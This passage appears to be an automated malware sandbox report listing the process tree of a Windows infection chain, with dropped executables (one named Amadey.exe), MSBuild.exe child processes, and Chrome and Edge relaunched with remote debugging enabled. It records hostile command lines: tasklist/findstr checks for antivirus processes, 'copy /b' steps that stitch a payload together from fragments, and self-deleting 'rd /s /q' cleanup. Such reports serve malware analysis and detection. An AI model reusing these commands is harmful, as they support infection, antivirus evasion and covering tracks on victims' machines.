        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5388,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5372 /prefetch:8
        11⤵
        
        PID:5580
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=6084,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6076 /prefetch:8
        11⤵
        
        PID:6080
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious use of FindShellTrayWindow
        
        PID:5648
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x260,0x7fff62f4f208,0x7fff62f4f214,0x7fff62f4f220
        11⤵
        
        PID:2200
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1904,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:3
        11⤵
        
        PID:4440
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2292,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:2
        11⤵
        
        PID:4652
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2392,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:8
        11⤵
        
        PID:1044
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3512,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:5864
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3520,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:5872
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4180,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:4560
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4188,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:2
        11⤵
        Uses browser remote debugging
        
        PID:4428
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5160,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:8
        11⤵
        
        PID:6448
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5164,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:8
        11⤵
        
        PID:6456
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4996,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:8
        11⤵
        
        PID:6464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4204,i,7205981025884187192,6319938859763782003,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:8
        11⤵
        
        PID:6472
        
        C:\ProgramData\bsjm7qq9zu.exe
        
        "C:\ProgramData\bsjm7qq9zu.exe"
        10⤵
        
        PID:1104
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        11⤵
        
        PID:6184
        
        C:\ProgramData\s2djmg4wln.exe
        
        "C:\ProgramData\s2djmg4wln.exe"
        10⤵
        
        PID:7008
        
        C:\ProgramData\s2djmg4wln.exe
        
        "C:\ProgramData\s2djmg4wln.exe"
        11⤵
        
        PID:6268
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        12⤵
        
        PID:6372
        
        C:\Users\Admin\AppData\Local\gPFmEvyD6Ij0.exe
        
        "C:\Users\Admin\AppData\Local\gPFmEvyD6Ij0.exe"
        12⤵
        
        PID:9684
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        13⤵
        
        PID:9724
        
        C:\Users\Admin\AppData\Local\DGaQJhS2nxNO.exe
        
        "C:\Users\Admin\AppData\Local\DGaQJhS2nxNO.exe"
        12⤵
        
        PID:10008
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        13⤵
        
        PID:18380
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        14⤵
        Uses browser remote debugging
        
        PID:37788
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x114,0x118,0x11c,0xf0,0x120,0x7fff7318dcf8,0x7fff7318dd04,0x7fff7318dd10
        15⤵
        
        PID:37804
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1568,i,17029129799534139376,7755096183790469974,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2424 /prefetch:3
        15⤵
        
        PID:37280
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2396,i,17029129799534139376,7755096183790469974,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2392 /prefetch:2
        15⤵
        
        PID:37276
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2084,i,17029129799534139376,7755096183790469974,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2736 /prefetch:8
        15⤵
        
        PID:37252
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3200,i,17029129799534139376,7755096183790469974,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3212 /prefetch:1
        15⤵
        Uses browser remote debugging
        
        PID:37164
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3220,i,17029129799534139376,7755096183790469974,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3248 /prefetch:1
        15⤵
        Uses browser remote debugging
        
        PID:37156
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4240,i,17029129799534139376,7755096183790469974,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4264 /prefetch:2
        15⤵
        Uses browser remote debugging
        
        PID:37068
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4576,i,17029129799534139376,7755096183790469974,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4584 /prefetch:1
        15⤵
        Uses browser remote debugging
        
        PID:33452
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4840,i,17029129799534139376,7755096183790469974,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5156 /prefetch:8
        15⤵
        
        PID:4812
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        14⤵
        Uses browser remote debugging
        
        PID:32452
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --edge-skip-compat-layer-relaunch
        15⤵
        Uses browser remote debugging
        
        PID:32440
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x238,0x23c,0x240,0x234,0x2f0,0x7fff5c6ff208,0x7fff5c6ff214,0x7fff5c6ff220
        16⤵
        
        PID:460
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1876,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:3
        16⤵
        
        PID:12512
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2176,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=2172 /prefetch:2
        16⤵
        
        PID:12520
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2584,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:8
        16⤵
        
        PID:12632
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3440,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
        16⤵
        Uses browser remote debugging
        
        PID:12888
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3448,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
        16⤵
        Uses browser remote debugging
        
        PID:12896
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4140,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:1
        16⤵
        Uses browser remote debugging
        
        PID:13016
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4220,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:2
        16⤵
        Uses browser remote debugging
        
        PID:13028
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5172,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:8
        16⤵
        
        PID:13568
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4980,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:8
        16⤵
        
        PID:8324
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5484,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:8
        16⤵
        
        PID:5548
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5508,i,16543336833722914975,854273719784701664,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:8
        16⤵
        
        PID:2980
        
        C:\ProgramData\a1dt2d2dba.exe
        
        "C:\ProgramData\a1dt2d2dba.exe"
        14⤵
        
        PID:9144
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        15⤵
        
        PID:8948
        
        C:\ProgramData\tjw47yus0r.exe
        
        "C:\ProgramData\tjw47yus0r.exe"
        14⤵
        
        PID:18048
        
        C:\ProgramData\tjw47yus0r.exe
        
        "C:\ProgramData\tjw47yus0r.exe"
        15⤵
        
        PID:18016
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        16⤵
        
        PID:28996
        
        C:\ProgramData\dj5xlfcjm7.exe
        
        "C:\ProgramData\dj5xlfcjm7.exe"
        14⤵
        
        PID:9620
        
        C:\Users\Admin\AppData\Local\Temp\lWyBTBn1\Gp3Beg88cUpEuhGt.exe
        
        C:\Users\Admin\AppData\Local\Temp\lWyBTBn1\Gp3Beg88cUpEuhGt.exe 0
        15⤵
        
        PID:9756
        
        C:\Users\Admin\AppData\Local\Temp\lWyBTBn1\9nfZ5Lwwcp6zTB5u.exe
        
        C:\Users\Admin\AppData\Local\Temp\lWyBTBn1\9nfZ5Lwwcp6zTB5u.exe 9756
        16⤵
        
        PID:18108
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 18108 -s 224
        17⤵
        Program crash
        
        PID:22812
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9756 -s 668
        16⤵
        Program crash
        
        PID:28968
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\s0h4o" & exit
        14⤵
        
        PID:28820
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        15⤵
        Delays execution with timeout.exe
        
        PID:28696
        
        C:\Users\Admin\AppData\Local\0w4TVTyEPruY.exe
        
        "C:\Users\Admin\AppData\Local\0w4TVTyEPruY.exe"
        12⤵
        
        PID:8092
        
        C:\Users\Admin\AppData\Local\Temp\ke0URy2e\tWif8RTUR7bVNhNu.exe
        
        C:\Users\Admin\AppData\Local\Temp\ke0URy2e\tWif8RTUR7bVNhNu.exe 0
        13⤵
        
        PID:3668
        
        C:\Users\Admin\AppData\Local\Temp\ke0URy2e\lpKGQrl1LdWJynjd.exe
        
        C:\Users\Admin\AppData\Local\Temp\ke0URy2e\lpKGQrl1LdWJynjd.exe 3668
        14⤵
        
        PID:9712
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9712 -s 616
        15⤵
        Program crash
        
        PID:30816
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3668 -s 664
        14⤵
        Program crash
        
        PID:30780
        
        C:\ProgramData\p89hdt000r.exe
        
        "C:\ProgramData\p89hdt000r.exe"
        10⤵
        
        PID:1456
        
        C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\gfD4SQ07ZqAnqT4j.exe
        
        C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\gfD4SQ07ZqAnqT4j.exe 0
        11⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\BDIIK96LLRpRTNUP.exe
        
        C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\BDIIK96LLRpRTNUP.exe 6740
        12⤵
        
        PID:5936
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5936 -s 724
        13⤵
        Program crash
        
        PID:17612
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\srq9h" & exit
        10⤵
        
        PID:11088
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        11⤵
        Delays execution with timeout.exe
        
        PID:10948
        
        C:\Users\Admin\AppData\Local\Temp\10028410101\alex12312321.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10028410101\alex12312321.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2164
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:8
        
        C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2584
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3700
        
        C:\Users\Admin\AppData\Local\Temp\10046340101\e8e9cdd2e5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10046340101\e8e9cdd2e5.exe"
        8⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3892
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Bc.wbk Bc.wbk.bat & Bc.wbk.bat
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2976
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        10⤵
        Enumerates processes with tasklist
        
        PID:5680
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        10⤵
        
        PID:6100
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        10⤵
        Enumerates processes with tasklist
        
        PID:1572
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        10⤵
        
        PID:5940
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 674187
        10⤵
        
        PID:6904
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Funky.wbk
        10⤵
        
        PID:10860
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Und" Tournament
        10⤵
        
        PID:6336
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 674187\Constraints.com + Lu + Pepper + Cn + Hairy + Nose + Providence + Bra + Corresponding + Promo + Ending 674187\Constraints.com
        10⤵
        
        PID:5588
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Losses.wbk + ..\Finally.wbk + ..\Medications.wbk + ..\Borough.wbk + ..\Trim.wbk + ..\Ellis.wbk + ..\Truly.wbk + ..\Was.wbk r
        10⤵
        
        PID:7308
        
        C:\Users\Admin\AppData\Local\Temp\674187\Constraints.com
        
        Constraints.com r
        10⤵
        
        PID:7856
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        10⤵
        
        PID:8516
        
        C:\Users\Admin\AppData\Local\Temp\10047850101\crypted.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10047850101\crypted.exe"
        8⤵
        
        PID:5412
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:5512
        
        C:\Users\Admin\AppData\Local\Temp\10050360101\Amadey.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10050360101\Amadey.exe"
        8⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\dbf9c9b26f\tgvazx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dbf9c9b26f\tgvazx.exe"
        9⤵
        
        PID:6916
        
        C:\Users\Admin\AppData\Local\Temp\10051620101\3916cf8992.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10051620101\3916cf8992.exe"
        8⤵
        
        PID:6476
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10051620101\3916cf8992.exe"
        9⤵
        
        PID:7128
        
        C:\Users\Admin\AppData\Local\Temp\10051630101\984a442117.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10051630101\984a442117.exe"
        8⤵
        
        PID:5604
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10051630101\984a442117.exe"
        9⤵
        
        PID:6424
      - C:\Users\Admin\AppData\Local\Temp\10451860101\trOUuPI.exe
        
